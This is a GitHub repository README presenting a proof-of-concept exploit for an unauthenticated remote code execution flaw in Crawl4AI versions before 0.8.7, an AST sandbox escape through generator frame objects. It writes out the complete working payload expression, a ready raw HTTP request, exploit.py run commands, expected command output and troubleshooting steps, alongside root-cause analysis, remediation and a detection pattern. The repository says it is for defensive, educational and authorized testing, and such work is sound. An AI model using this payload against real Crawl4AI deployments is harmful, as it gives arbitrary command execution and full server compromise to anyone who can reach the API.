Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2026-53753 — Crawl4AI Unauthenticated Remote Code Execution (AST Sandbox Escape)

Pre-authentication RCE in Crawl4AI < 0.8.7. A crafted JsonCssExtractionStrategy schema sent to the unauthenticated POST /crawl endpoint reaches the computed-fields evaluator (_safe_eval_expression), escapes its AST allow-list through Python frame objects, reaches the real builtins, and runs __import__('os').popen(<cmd>).read() — returning the command's output in-band in the JSON response.

CVE CVE-2026-53753
Advisory GHSA-qxjp-w3pj-48m7
Affected Crawl4AI <= 0.8.6
Fixed 0.8.7
Class CWE-94 (Code Injection) / Python sandbox escape
CVSS 3.1 9.8AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Auth None — shipped config has jwt_enabled: false
Status CONFIRMED — reproduced end-to-end against the official unclecode/crawl4ai:0.8.6 image

Table of contents

  1. Root cause
  2. Anatomy of the payload
  3. Why the frame walk reaches real builtins
  4. Lab setup
  5. Run the exploit
  6. Expected output
  7. Raw HTTP request
  8. Troubleshooting
  9. Impact / Remediation / Detection
  10. Validation

Deep dive: see ANALYSIS.md for a node-by-node AST walkthrough, the runtime frame stack, the request data-flow, and the patch diff.


1. Root cause

crawl4ai/extraction_strategy.py lets an extraction schema define computed fields — small Python expressions evaluated per extracted item. They are run by _safe_eval_expression(), which tries to sandbox the expression with an AST allow-list and a stripped-down __builtins__:

# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Block dunder attribute access, e.g. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

The validator is deny-by-prefix: it only rejects names that start with _ (plus import). That single heuristic is the whole sandbox — and it has three holes that combine into a full escape:

# Hole Why it matters
1 gi_frame, f_back, f_builtins don't start with _ The entire Python frame/generator introspection surface is reachable.
2 obj['__import__'] is an ast.Subscript, not an ast.Attribute The validator never inspects dict-subscript keys, so the dunder key __import__ passes.
3 A running generator's f_back chain leads to an outer frame whose f_builtins is the real builtins Escapes the stripped _SAFE_EVAL_BUILTINS back to the full one (__import__, etc.).

The schema reaches this function with no authentication: the Docker API ships security.jwt_enabled: false, so the /crawl token dependency is lambda: None.

2. Anatomy of the payload, line by line

The computed-field expression is:

(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

Reading it piece by piece:

Fragment Role Why the validator allows it
(lambda: ... )() Creates a function scope so the walrus-bound name lives in a closure cell. ast.Lambda is not checked.
g := ( <expr> for i in [1]) Binds the generator to g and the generator body references g (itself). := and generator expressions are not checked. (Walrus is illegal in a comprehension iterable, so it is placed in a tuple element instead.)
list(g) Drives the generator — so its frame is live when the body runs. list is in the safe builtins.
g.gi_frame The generator's frame object. gi_frame doesn't start with _.
.f_back.f_back.f_back Walks up three frames to one with the real builtins. f_back doesn't start with _.
.f_builtins That frame's builtins mapping (the real one). f_builtins doesn't start with _.
['__import__'] Fetches __import__ from the builtins dict. Dict subscript — never inspected.
('os') __import__('os') → the os module. The call target is a Subscript, not a Name/Attribute.
.popen('id').read() Runs the command and returns its stdout. popen/read don't start with _.

Because the value of the generator is os.popen(cmd).read(), the command's stdout becomes the field value and is reflected back in the /crawl response — an in-band oracle, no OAST needed.

3. Why the frame walk reaches real builtins

While list(g) iterates the generator, the call stack looks like this:

frame: _safe_eval_expression()      <-- real builtins  (__import__ lives here)   ← f_back ×3
   └ frame: <expression> (eval)     <-- sandboxed builtins (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ frame: <lambda>           <-- sandboxed                                 ← f_back ×1
             └ frame: <genexpr> g   <-- RUNNING; g.gi_frame is this frame         ← gi_frame

g.gi_frame.f_back is only populated while the generator is running (that is why the generator must reference itself and be driven by list(g) — a not-yet-started generator has f_back is None). Walking f_back three times lands on the _safe_eval_expression frame, whose f_builtins is the full builtins module — from which __import__ is pulled by subscript.

Frame depth is stable for this code path: f_back × 3 is correct for Crawl4AI 0.8.6's _safe_eval_expression.

4. Lab setup

The official image ships the vulnerable default (no auth):

# Option A — docker compose (normal Docker host with bridge networking)
docker compose -f lab/docker-compose.yml up -d

# Option B — plain docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

Wait ~20 s for the browser pool to warm up (docker logs crawl4ai-vulnApplication startup complete).

5. Run the exploit

# Inspect the request body without sending it:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# Fire it (command stdout comes back in the response):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py uses only the Python standard library — no dependencies.

6. Expected output

[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

The out field is live OS state (id output, uname, the container's os-release), not an echo of the request — uid=999(appuser) is the container's service account, proving code execution inside the Crawl4AI host. A unique echo <marker> is reflected verbatim, confirming the command actually ran.

7. Raw HTTP request

POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
  • raw://… makes the request self-contained — no outbound fetch is needed; the attacker supplies the HTML inline.
  • baseSelector: "div" simply needs to match an element so a computed field is evaluated. Against a real crawl target, use any selector that matches the page.

8. Troubleshooting

Symptom Cause / fix
Connection refused on :11235 Container still warming up, or your Docker daemon has no usable bridge network. Wait for Application startup complete; if port mapping doesn't bind, run the container with --network host.
out is null The base selector matched no element — make sure the raw:// HTML contains a <div> (or adjust baseSelector).
Works on 0.8.6 but not 0.8.7 Expected — 0.8.7 removes _safe_eval_expression and disables the expression key entirely (the fix).

9. Impact

Any network-reachable client executes arbitrary OS commands on the Crawl4AI host with no authentication in the default deployment — full compromise of the server and pivot into any internal resources it can reach.

Remediation

  • Upgrade to Crawl4AI ≥ 0.8.7 (removes _safe_eval_expression; the expression computed-field key is disabled — use the function key with a vetted Python callable instead).
  • Defense in depth: enable JWT (jwt_enabled: true + api_token) and never expose the Crawl4AI API to untrusted networks.

Detection

Flag POST /crawl (and /crawl/stream) bodies containing gi_frame, f_back, f_builtins, or any computed field carrying an expression key.

Disclosure / credits

  • PoC author: Caio Fabríciogithub.com/BiiTts
  • Vulnerability credit belongs to the original CVE/advisory reporter; this repo is an independent reproduction for defensive and educational use.
  • For authorized security testing only.

About

CVE-2026-53753 — Crawl4AI <0.8.7 unauthenticated RCE (AST sandbox escape via gi_frame.f_back). Lab + PoC, verified e2e.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages